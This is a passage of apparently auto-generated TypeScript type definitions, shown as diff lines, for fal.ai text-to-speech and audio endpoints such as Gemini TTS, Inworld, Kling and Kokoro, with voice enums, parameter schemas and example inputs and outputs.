(Slovakia)', + 'Slovenian (Slovenia)': 'Slovenian (Slovenia)', + 'Spanish (Latin America)': 'Spanish (Latin America)', + 'Spanish (Mexico)': 'Spanish (Mexico)', + 'Swahili (Kenya)': 'Swahili (Kenya)', + 'Swedish (Sweden)': 'Swedish (Sweden)', + 'Urdu (Pakistan)': 'Urdu (Pakistan)', +} as const + +export type InputFalAiGeminiTtsLanguageCodeKey = + (typeof inputFalAiGeminiTtsLanguageCode)[keyof typeof inputFalAiGeminiTtsLanguageCode] + +/** + * @description Input for Gemini text-to-speech generation. + * @type object + */ +export type InputFalAiGeminiTts = { + /** + * @description Optional style and delivery instructions prepended to the prompt. Controls expressiveness, accent, pace, tone, and emotional expression using natural language. Use this to separate style control from the text content. Examples: 'Speak warmly and slowly', 'Read this as a dramatic newscast', 'Use a British accent with a cheerful tone', 'Whisper mysteriously'. + * @example Say the following in a warm, conversational tone + * @example Read this as a dramatic newscast with gravitas + * @example Speak with a British accent, cheerfully and energetically + * @example This is a podcast conversation. The host is enthusiastic and curious, the guest is knowledgeable and articulate + */ + style_instructions?: string | null + /** + * @description Which Gemini TTS model to use. gemini-2.5-flash-tts: low latency, cost-efficient for everyday applications (recommended). gemini-2.5-pro-tts: highest quality, best for structured workflows like podcasts, audiobooks, and customer support. + * @default 'gemini-2.5-flash-tts' + * @type string | undefined + */ + model?: InputFalAiGeminiTtsModelEnumKey + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Controls the randomness of the speech output. Higher values produce more creative and varied delivery, while lower values make the output more predictable and focused. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + temperature?: number + /** + * @description Audio output format. mp3: compressed, small file size (recommended). wav: uncompressed PCM wrapped in WAV (24 kHz, 16-bit mono). ogg_opus: Ogg container with Opus codec, good quality-to-size ratio. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiGeminiTtsOutputFormatEnumKey + /** + * @description Voice preset for single-speaker synthesis. 30 distinct voices are available. Ignored when speakers is set. Popular choices: Kore (strong, firm female), Puck (upbeat, lively male), Charon (calm, professional male), Zephyr (bright, clear female), Aoede (warm, melodic female). + * @default 'Kore' + * @type string | undefined + */ + voice?: InputFalAiGeminiTtsVoiceEnumKey + /** + * @description The text to convert to speech. Gemini TTS supports natural-language prompting for style, pace, accent, and emotional expression — include delivery instructions inline with the text (e.g. 'Say cheerfully: Have a wonderful day!'). For multi-speaker synthesis, prefix lines with speaker aliases defined in the speakers field (e.g. 'Alice: Hello!\nBob: Hi!'). Supports inline pace/style markers like [slowly], [whispering], [excited], [extremely fast]. + * @minLength 1 + * @maxLength 50000 + * @example Host: Welcome back to AI Frontiers, the podcast where we explore the latest breakthroughs in artificial intelligence. Today we have a very special guest. Doctor Chen, thank you for joining us! + * DrChen: Thanks for having me! I'm excited to be here. + * Host: So, let's dive right in. Your recent paper on neural architecture search has been making waves. Can you tell our listeners what inspired this research? + * DrChen: Absolutely. It all started when we noticed that most existing approaches were optimizing for the wrong metrics. We asked ourselves, what if we could let the model design itself? + * @type string + */ + prompt: string + /** + * @description Multi-speaker voice configuration. When set, enables multi-speaker synthesis where different parts of the text are spoken by different voices. Each speaker needs a voice and a speaker_id (alias) that matches prefixes in the prompt. Requires gemini-2.5-pro-tts or gemini-2.5-flash-tts model. Not supported with gemini-2.5-flash-lite-preview-tts. + * @example [{"speaker_id":"Host","voice":"Charon"},{"speaker_id":"DrChen","voice":"Kore"}] + */ + speakers?: SpeakerConfig078755A0[] | null + /** + * @description Language for multilingual synthesis. When set, steers the model to speak in the specified language. Supports 24 GA languages and 60+ Preview languages. If not set, the model auto-detects the language from the text. + * @example English (US) + * @example French (France) + * @example Japanese (Japan) + */ + language_code?: InputFalAiGeminiTtsLanguageCodeKey | null +} + +export type File6Bc81C65 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +/** + * @description Output for Gemini text-to-speech generation. + * @type object + */ +export type OutputFalAiGeminiTts = { + /** + * @description The generated audio file. + * @example {"url":"https://v3b.fal.media/files/b/0a935d4f/Ez4NpcnFTuGsu2FHDaJTR_gemini_tts_output.mp3"} + * @type object + */ + audio: File6Bc81C65 +} + +export type EmotionalStrengths = { + /** + * @description Strength of happiness emotion + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + happy?: number + /** + * @description Strength of sadness emotion + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + sad?: number + /** + * @description Strength of disgust emotion + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + disgusted?: number + /** + * @description Strength of fear emotion + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + afraid?: number + /** + * @description Strength of surprise emotion + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + surprised?: number + /** + * @description Strength of melancholic emotion + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + melancholic?: number + /** + * @description Strength of anger emotion + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + angry?: number + /** + * @description Strength of calm emotion + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + calm?: number +} + +export type InputFalAiIndexTts2TextToSpeech = { + /** + * @description The emotional reference audio file to extract the style from. + */ + emotional_audio_url?: string | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The audio file to generate the speech from. + * @example https://storage.googleapis.com/falserverless/example_inputs/index-tts-2/tts_in.mp3 + * @type string + */ + audio_url: string + /** + * @description Whether to use the `prompt` to calculate emotional strengths, if enabled it will overwrite the `emotional_strengths` values. If `emotion_prompt` is provided, it will be used to instead of `prompt` to extract the emotional style. + * @default false + * @example true + */ + should_use_prompt_for_emotion?: boolean | null + /** + * @description The emotional prompt to influence the emotional style. Must be used together with should_use_prompt_for_emotion. + * @example You scared me to death! What are you, a ghost? + */ + emotion_prompt?: string | null + /** + * @description The strengths of individual emotions for fine-grained control. + * @example null + */ + emotional_strengths?: EmotionalStrengths | null + /** + * @description The strength of the emotional style transfer. Higher values result in stronger emotional influence. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + strength?: number + /** + * @description The speech prompt to generate + * @example Hide! He's coming! He's coming to get us! + * @type string + */ + prompt: string +} + +export type FileF5B45Bda = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIndexTts2TextToSpeech = { + /** + * @description The generated audio file in base64 format. + * @example https://storage.googleapis.com/falserverless/example_outputs/index-tts-2/tts_out.mp3 + * @type object + */ + audio: FileF5B45Bda +} + +export const inputFalAiInworldTtsVoiceEnum = { + 'Loretta (en)': 'Loretta (en)', + 'Darlene (en)': 'Darlene (en)', + 'Marlene (en)': 'Marlene (en)', + 'Hank (en)': 'Hank (en)', + 'Evelyn (en)': 'Evelyn (en)', + 'Celeste (en)': 'Celeste (en)', + 'Pippa (en)': 'Pippa (en)', + 'Tessa (en)': 'Tessa (en)', + 'Liam (en)': 'Liam (en)', + 'Callum (en)': 'Callum (en)', + 'Hamish (en)': 'Hamish (en)', + 'Abby (en)': 'Abby (en)', + 'Graham (en)': 'Graham (en)', + 'Rupert (en)': 'Rupert (en)', + 'Mortimer (en)': 'Mortimer (en)', + 'Snik (en)': 'Snik (en)', + 'Anjali (en)': 'Anjali (en)', + 'Saanvi (en)': 'Saanvi (en)', + 'Arjun (en)': 'Arjun (en)', + 'Claire (en)': 'Claire (en)', + 'Oliver (en)': 'Oliver (en)', + 'Simon (en)': 'Simon (en)', + 'Elliot (en)': 'Elliot (en)', + 'James (en)': 'James (en)', + 'Serena (en)': 'Serena (en)', + 'Gareth (en)': 'Gareth (en)', + 'Vinny (en)': 'Vinny (en)', + 'Lauren (en)': 'Lauren (en)', + 'Jessica (en)': 'Jessica (en)', + 'Ethan (en)': 'Ethan (en)', + 'Tyler (en)': 'Tyler (en)', + 'Jason (en)': 'Jason (en)', + 'Chloe (en)': 'Chloe (en)', + 'Veronica (en)': 'Veronica (en)', + 'Victoria (en)': 'Victoria (en)', + 'Miranda (en)': 'Miranda (en)', + 'Sebastian (en)': 'Sebastian (en)', + 'Victor (en)': 'Victor (en)', + 'Malcolm (en)': 'Malcolm (en)', + 'Kayla (en)': 'Kayla (en)', + 'Nate (en)': 'Nate (en)', + 'Jake (en)': 'Jake (en)', + 'Brian (en)': 'Brian (en)', + 'Amina (en)': 'Amina (en)', + 'Kelsey (en)': 'Kelsey (en)', + 'Derek (en)': 'Derek (en)', + 'Grant (en)': 'Grant (en)', + 'Evan (en)': 'Evan (en)', + 'Alex (en)': 'Alex (en)', + 'Ashley (en)': 'Ashley (en)', + 'Craig (en)': 'Craig (en)', + 'Deborah (en)': 'Deborah (en)', + 'Dennis (en)': 'Dennis (en)', + 'Edward (en)': 'Edward (en)', + 'Elizabeth (en)': 'Elizabeth (en)', + 'Hades (en)': 'Hades (en)', + 'Julia (en)': 'Julia (en)', + 'Pixie (en)': 'Pixie (en)', + 'Mark (en)': 'Mark (en)', + 'Olivia (en)': 'Olivia (en)', + 'Priya (en)': 'Priya (en)', + 'Ronald (en)': 'Ronald (en)', + 'Sarah (en)': 'Sarah (en)', + 'Shaun (en)': 'Shaun (en)', + 'Theodore (en)': 'Theodore (en)', + 'Timothy (en)': 'Timothy (en)', + 'Wendy (en)': 'Wendy (en)', + 'Dominus (en)': 'Dominus (en)', + 'Hana (en)': 'Hana (en)', + 'Clive (en)': 'Clive (en)', + 'Carter (en)': 'Carter (en)', + 'Blake (en)': 'Blake (en)', + 'Luna (en)': 'Luna (en)', + 'Yichen (zh)': 'Yichen (zh)', + 'Xiaoyin (zh)': 'Xiaoyin (zh)', + 'Xinyi (zh)': 'Xinyi (zh)', + 'Jing (zh)': 'Jing (zh)', + 'Erik (nl)': 'Erik (nl)', + 'Katrien (nl)': 'Katrien (nl)', + 'Lennart (nl)': 'Lennart (nl)', + 'Lore (nl)': 'Lore (nl)', + 'Alain (fr)': 'Alain (fr)', + 'Hélène (fr)': 'Hélène (fr)', + 'Mathieu (fr)': 'Mathieu (fr)', + 'Étienne (fr)': 'Étienne (fr)', + 'Johanna (de)': 'Johanna (de)', + 'Josef (de)': 'Josef (de)', + 'Gianni (it)': 'Gianni (it)', + 'Orietta (it)': 'Orietta (it)', + 'Asuka (ja)': 'Asuka (ja)', + 'Satoshi (ja)': 'Satoshi (ja)', + 'Hyunwoo (ko)': 'Hyunwoo (ko)', + 'Minji (ko)': 'Minji (ko)', + 'Seojun (ko)': 'Seojun (ko)', + 'Yoona (ko)': 'Yoona (ko)', + 'Szymon (pl)': 'Szymon (pl)', + 'Wojciech (pl)': 'Wojciech (pl)', + 'Heitor (pt)': 'Heitor (pt)', + 'Maitê (pt)': 'Maitê (pt)', + 'Diego (es)': 'Diego (es)', + 'Lupita (es)': 'Lupita (es)', + 'Miguel (es)': 'Miguel (es)', + 'Rafael (es)': 'Rafael (es)', + 'Svetlana (ru)': 'Svetlana (ru)', + 'Elena (ru)': 'Elena (ru)', + 'Dmitry (ru)': 'Dmitry (ru)', + 'Nikolai (ru)': 'Nikolai (ru)', + 'Riya (hi)': 'Riya (hi)', + 'Manoj (hi)': 'Manoj (hi)', + 'Yael (he)': 'Yael (he)', + 'Oren (he)': 'Oren (he)', + 'Nour (ar)': 'Nour (ar)', + 'Omar (ar)': 'Omar (ar)', +} as const + +export type InputFalAiInworldTtsVoiceEnumKey = + (typeof inputFalAiInworldTtsVoiceEnum)[keyof typeof inputFalAiInworldTtsVoiceEnum] + +export const inputFalAiInworldTtsSampleRateHertzEnum = { + '8000': 8000, + '16000': 16000, + '24000': 24000, + '32000': 32000, + '40000': 40000, + '48000': 48000, +} as const + +export type InputFalAiInworldTtsSampleRateHertzEnumKey = + (typeof inputFalAiInworldTtsSampleRateHertzEnum)[keyof typeof inputFalAiInworldTtsSampleRateHertzEnum] + +export type InputFalAiInworldTts = { + /** + * @description The voice to use for synthesis. + * @default 'Craig (en)' + * @type string | undefined + */ + voice?: InputFalAiInworldTtsVoiceEnumKey + /** + * @description The sample rate in Hz for the output audio. + * @default 48000 + * @type number | undefined + */ + sample_rate_hertz?: InputFalAiInworldTtsSampleRateHertzEnumKey + /** + * @description The text to synthesize into speech. Maximum 2000 characters. + * @maxLength 2000 + * @example Hello! This is a demo of Inworld's TTS. + * @type string + */ + text: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File72Ef377D = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiInworldTts = { + /** + * @description Generated audio file. + * @example {"url":"https://v3b.fal.media/files/b/0a920730/38aud4s6sF7bOWFoQHaJk_tmpvv2htrpc.wav"} + * @type object + */ + audio: File72Ef377D +} + +/** + * @description Request model for creating a custom voice. + * @type object + */ +export type InputFalAiKlingVideoCreateVoice = { + /** + * @description URL of the voice audio file. Supports .mp3/.wav audio or .mp4/.mov video. Duration must be 5-30 seconds with clean, single-voice audio. + * @example https://v3b.fal.media/files/b/0a867736/_Wo19V-XrOVYZt6jKE8t5_kling_video.wav + * @type string + */ + voice_url: string + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +/** + * @description Response model for creating a custom voice. + * @type object + */ +export type OutputFalAiKlingVideoCreateVoice = { + /** + * @description Unique identifier for the created voice + * @example 829877809978941442 + * @type string + */ + voice_id: string +} + +export const inputFalAiKlingVideoV1TtsVoiceIdEnum = { + genshin_vindi2: 'genshin_vindi2', + zhinen_xuesheng: 'zhinen_xuesheng', + AOT: 'AOT', + ai_shatang: 'ai_shatang', + genshin_klee2: 'genshin_klee2', + genshin_kirara: 'genshin_kirara', + ai_kaiya: 'ai_kaiya', + oversea_male1: 'oversea_male1', + ai_chenjiahao_712: 'ai_chenjiahao_712', + girlfriend_4_speech02: 'girlfriend_4_speech02', + 'chat1_female_new-3': 'chat1_female_new-3', + 'chat_0407_5-1': 'chat_0407_5-1', + 'cartoon-boy-07': 'cartoon-boy-07', + uk_boy1: 'uk_boy1', + 'cartoon-girl-01': 'cartoon-girl-01', + PeppaPig_platform: 'PeppaPig_platform', + ai_huangzhong_712: 'ai_huangzhong_712', + ai_huangyaoshi_712: 'ai_huangyaoshi_712', + ai_laoguowang_712: 'ai_laoguowang_712', + chengshu_jiejie: 'chengshu_jiejie', + you_pingjing: 'you_pingjing', + calm_story1: 'calm_story1', + uk_man2: 'uk_man2', + laopopo_speech02: 'laopopo_speech02', + heainainai_speech02: 'heainainai_speech02', + 'reader_en_m-v1': 'reader_en_m-v1', + 'commercial_lady_en_f-v1': 'commercial_lady_en_f-v1', + tiyuxi_xuedi: 'tiyuxi_xuedi', + tiexin_nanyou: 'tiexin_nanyou', + girlfriend_1_speech02: 'girlfriend_1_speech02', + girlfriend_2_speech02: 'girlfriend_2_speech02', + zhuxi_speech02: 'zhuxi_speech02', + uk_oldman3: 'uk_oldman3', + dongbeilaotie_speech02: 'dongbeilaotie_speech02', + chongqingxiaohuo_speech02: 'chongqingxiaohuo_speech02', + chuanmeizi_speech02: 'chuanmeizi_speech02', + chaoshandashu_speech02: 'chaoshandashu_speech02', + ai_taiwan_man2_speech02: 'ai_taiwan_man2_speech02', + xianzhanggui_speech02: 'xianzhanggui_speech02', + tianjinjiejie_speech02: 'tianjinjiejie_speech02', + 'diyinnansang_DB_CN_M_04-v2': 'diyinnansang_DB_CN_M_04-v2', + 'yizhipiannan-v1': 'yizhipiannan-v1', + 'guanxiaofang-v2': 'guanxiaofang-v2', + 'tianmeixuemei-v1': 'tianmeixuemei-v1', + 'daopianyansang-v1': 'daopianyansang-v1', + 'mengwa-v1': 'mengwa-v1', +} as const + +export type InputFalAiKlingVideoV1TtsVoiceIdEnumKey = + (typeof inputFalAiKlingVideoV1TtsVoiceIdEnum)[keyof typeof inputFalAiKlingVideoV1TtsVoiceIdEnum] + +export type InputFalAiKlingVideoV1Tts = { + /** + * @description The text to be converted to speech + * @maxLength 500 + * @example Hello world! Kling TTS is available on FAL! + * @type string + */ + text: string + /** + * @description Rate of speech + * @minimum 0.8 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + voice_speed?: number + /** + * @description The voice ID to use for speech synthesis + * @default 'genshin_vindi2' + * @type string | undefined + */ + voice_id?: InputFalAiKlingVideoV1TtsVoiceIdEnumKey + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File1Ba76427 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV1Tts = { + /** + * @description The generated audio + * @example {"url":"https://v3.fal.media/files/monkey/O-ekVTtYqeDblD1oSf2uv_output.mp3"} + * @type object + */ + audio: File1Ba76427 +} + +export type InputFalAiKlingVideoVideoToAudio = { + /** + * @description The video URL to extract audio from. Only .mp4/.mov formats are supported. File size does not exceed 100MB. Video duration between 3.0s and 20.0s. + * @example https://storage.googleapis.com/falserverless/model_tests/kling/kling-v2.5-turbo-pro-image-to-video-output.mp4 + * @type string + */ + video_url: string + /** + * @description Enable ASMR mode. This mode enhances detailed sound effects and is suitable for highly immersive content scenarios. + * @default false + * @type boolean | undefined + */ + asmr_mode?: boolean + /** + * @description Sound effect prompt. Cannot exceed 200 characters. + * @default Car tires screech as they accelerate in a drag race + */ + sound_effect_prompt?: string | null + /** + * @description Background music prompt. Cannot exceed 200 characters. + * @default intense car race + */ + background_music_prompt?: string | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileE26988F0 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoVideoToAudio = { + /** + * @description The original video with dubbed audio applied + * @example {"url":"https://v3.fal.media/files/monkey/O-ekVTtYqeDblD1oSf2uv_dubbed_video.mp4"} + * @type object + */ + video: FileE26988F0 + /** + * @description The extracted/generated audio from the video in MP3 format + * @example {"url":"https://v3.fal.media/files/monkey/O-ekVTtYqeDblD1oSf2uv_extracted_audio.mp3"} + * @type object + */ + audio: FileE26988F0 +} + +export const inputFalAiKokoroAmericanEnglishVoiceEnum = { + af_heart: 'af_heart', + af_alloy: 'af_alloy', + af_aoede: 'af_aoede', + af_bella: 'af_bella', + af_jessica: 'af_jessica', + af_kore: 'af_kore', + af_nicole: 'af_nicole', + af_nova: 'af_nova', + af_river: 'af_river', + af_sarah: 'af_sarah', + af_sky: 'af_sky', + am_adam: 'am_adam', + am_echo: 'am_echo', + am_eric: 'am_eric', + am_fenrir: 'am_fenrir', + am_liam: 'am_liam', + am_michael: 'am_michael', + am_onyx: 'am_onyx', + am_puck: 'am_puck', + am_santa: 'am_santa', +} as const + +export type InputFalAiKokoroAmericanEnglishVoiceEnumKey = + (typeof inputFalAiKokoroAmericanEnglishVoiceEnum)[keyof typeof inputFalAiKokoroAmericanEnglishVoiceEnum] + +export type InputFalAiKokoroAmericanEnglish = { + /** + * @default '' + * @example The future belongs to those who believe in the beauty of their dreams. So, dream big, work hard, and make it happen! + * @type string | undefined + */ + prompt?: string + /** + * @description Voice ID for the desired voice. + * @default 'af_heart' + * @example af_heart + * @type string | undefined + */ + voice?: InputFalAiKokoroAmericanEnglishVoiceEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Speed of the generated audio. Default is 1.0. + * @minimum 0.1 + * @maximum 5 + * @default 1 + * @type number | undefined + */ + speed?: number +} + +export type File9E9234F9 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiKokoroAmericanEnglish = { + /** + * @description The generated music + * @example {"url":"https://fal.media/files/elephant/dXVMqWsBDG9yan3kaOT0Z_tmp0vvkha3s.wav"} + * @type object + */ + audio: File9E9234F9 +} + +export const inputFalAiKokoroBrazilianPortugueseVoiceEnum = { + pf_dora: 'pf_dora', + pm_alex: 'pm_alex', + pm_santa: 'pm_santa', +} as const + +export type InputFalAiKokoroBrazilianPortugueseVoiceEnumKey = + (typeof inputFalAiKokoroBrazilianPortugueseVoiceEnum)[keyof typeof inputFalAiKokoroBrazilianPortugueseVoiceEnum] + +export type InputFalAiKokoroBrazilianPortuguese = { + /** + * @example O segredo do sucesso é a persistência. Nunca desista dos seus sonhos! + * @type string + */ + prompt: string + /** + * @description Voice ID for the desired voice. + * @example pf_dora + * @type string + */ + voice: InputFalAiKokoroBrazilianPortugueseVoiceEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Speed of the generated audio. Default is 1.0. + * @minimum 0.1 + * @maximum 5 + * @default 1 + * @type number | undefined + */ + speed?: number +} + +export type File89B4D222 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiKokoroBrazilianPortuguese = { + /** + * @description The generated music + * @example {"url":"https://fal.media/files/rabbit/Y9-bWJt5lixo8PTCmncN6_tmpyh7u57oa.wav"} + * @type object + */ + audio: File89B4D222 +} + +export const inputFalAiKokoroBritishEnglishVoiceEnum = { + bf_alice: 'bf_alice', + bf_emma: 'bf_emma', + bf_isabella: 'bf_isabella', + bf_lily: 'bf_lily', + bm_daniel: 'bm_daniel', + bm_fable: 'bm_fable', + bm_george: 'bm_george', + bm_lewis: 'bm_lewis', +} as const + +export type InputFalAiKokoroBritishEnglishVoiceEnumKey = + (typeof inputFalAiKokoroBritishEnglishVoiceEnum)[keyof typeof inputFalAiKokoroBritishEnglishVoiceEnum] + +export type InputFalAiKokoroBritishEnglish = { + /** + * @example Ladies and gentlemen, welcome aboard. Please ensure your seatbelt is fastened and your tray table is stowed as we prepare for takeoff. + * @type string + */ + prompt: string + /** + * @description Voice ID for the desired voice. + * @example bf_alice + * @type string + */ + voice: InputFalAiKokoroBritishEnglishVoiceEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Speed of the generated audio. Default is 1.0. + * @minimum 0.1 + * @maximum 5 + * @default 1 + * @type number | undefined + */ + speed?: number +} + +export type File4410F0Fa = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiKokoroBritishEnglish = { + /** + * @description The generated music + * @example {"url":"https://fal.media/files/kangaroo/4wpA60Kum6UjOVBKJoNyL_tmpxfrkn95k.wav"} + * @type object + */ + audio: File4410F0Fa +} + +export type InputFalAiKokoroFrench = { + /** + * @example La seule limite à nos réalisations de demain, ce sont nos doutes d’aujourd’hui. + * @type string + */ + prompt: string + /** + * @description Voice ID for the desired voice. + * @example ff_siwis + * @type string + */ + voice: 'ff_siwis' + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Speed of the generated audio. Default is 1.0. + * @minimum 0.1 + * @maximum 5 + * @default 1 + * @type number | undefined + */ + speed?: number +} + +export type FileD92A6Fe6 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiKokoroFrench = { + /** + * @description The generated music + * @example {"url":"https://fal.media/files/kangaroo/E_itKJKZKRNaO-QtU77k1_tmpe1qso5xp.wav"} + * @type object + */ + audio: FileD92A6Fe6 +} + +export const inputFalAiKokoroHindiVoiceEnum = { + hf_alpha: 'hf_alpha', + hf_beta: 'hf_beta', + hm_omega: 'hm_omega', + hm_psi: 'hm_psi', +} as const + +export type InputFalAiKokoroHindiVoiceEnumKey = + (typeof inputFalAiKokoroHindiVoiceEnum)[keyof typeof inputFalAiKokoroHindiVoiceEnum] + +export type InputFalAiKokoroHindi = { + /** + * @example सपने वो नहीं जो हम सोते समय देखते हैं, सपने वो हैं जो हमें सोने नहीं देते। + * @type string + */ + prompt: string + /** + * @description Voice ID for the desired voice. + * @example hf_alpha + * @type string + */ + voice: InputFalAiKokoroHindiVoiceEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Speed of the generated audio. Default is 1.0. + * @minimum 0.1 + * @maximum 5 + * @default 1 + * @type number | undefined + */ + speed?: number +} + +export type File122243F0 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiKokoroHindi = { + /** + * @description The generated music + * @example {"url":"https://fal.media/files/elephant/3sGUskl1AFG4TN_NAinO8_tmpdq_1m8og.wav"} + * @type object + */ + audio: File122243F0 +} + +export const inputFalAiKokoroItalianVoiceEnum = { + if_sara: 'if_sara', + im_nicola: 'im_nicola', +} as const + +export type InputFalAiKokoroItalianVoiceEnumKey = + (typeof inputFalAiKokoroItalianVoiceEnum)[keyof typeof inputFalAiKokoroItalianVoiceEnum] + +export type InputFalAiKokoroItalian = { + /** + * @example Ogni giorno è una nuova opportunità per scrivere la tua storia. Rendila straordinaria! + * @type string + */ + prompt: string + /** + * @description Voice ID for the desired voice. + * @example if_sara + * @type string + */ + voice: InputFalAiKokoroItalianVoiceEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Speed of the generated audio. Default is 1.0. + * @minimum 0.1 + * @maximum 5 + * @default 1 + * @type number | undefined + */ + speed?: number +} + +export type File109E7480 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiKokoroItalian = { + /** + * @description The generated music + * @example {"url":"https://fal.media/files/monkey/-MZ0hRO4IpTMukb_S5aRZ_tmpin14eoed.wav"} + * @type object + */ + audio: File109E7480 +} + +export const inputFalAiKokoroJapaneseVoiceEnum = { + jf_alpha: 'jf_alpha', + jf_gongitsune: 'jf_gongitsune', + jf_nezumi: 'jf_nezumi', + jf_tebukuro: 'jf_tebukuro', + jm_kumo: 'jm_kumo', +} as const + +export type InputFalAiKokoroJapaneseVoiceEnumKey = + (typeof inputFalAiKokoroJapaneseVoiceEnum)[keyof typeof inputFalAiKokoroJapaneseVoiceEnum] + +export type InputFalAiKokoroJapanese = { + /** + * @example 夢を追いかけることを恐れないでください。努力すれば、必ず道は開けます! + * @type string + */ + prompt: string + /** + * @description Voice ID for the desired voice. + * @example jf_alpha + * @type string + */ + voice: InputFalAiKokoroJapaneseVoiceEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Speed of the generated audio. Default is 1.0. + * @minimum 0.1 + * @maximum 5 + * @default 1 + * @type number | undefined + */ + speed?: number +} + +export type File8128Aa79 = { + /** + * @description The name of the file. It will be auto-generated if not provided. 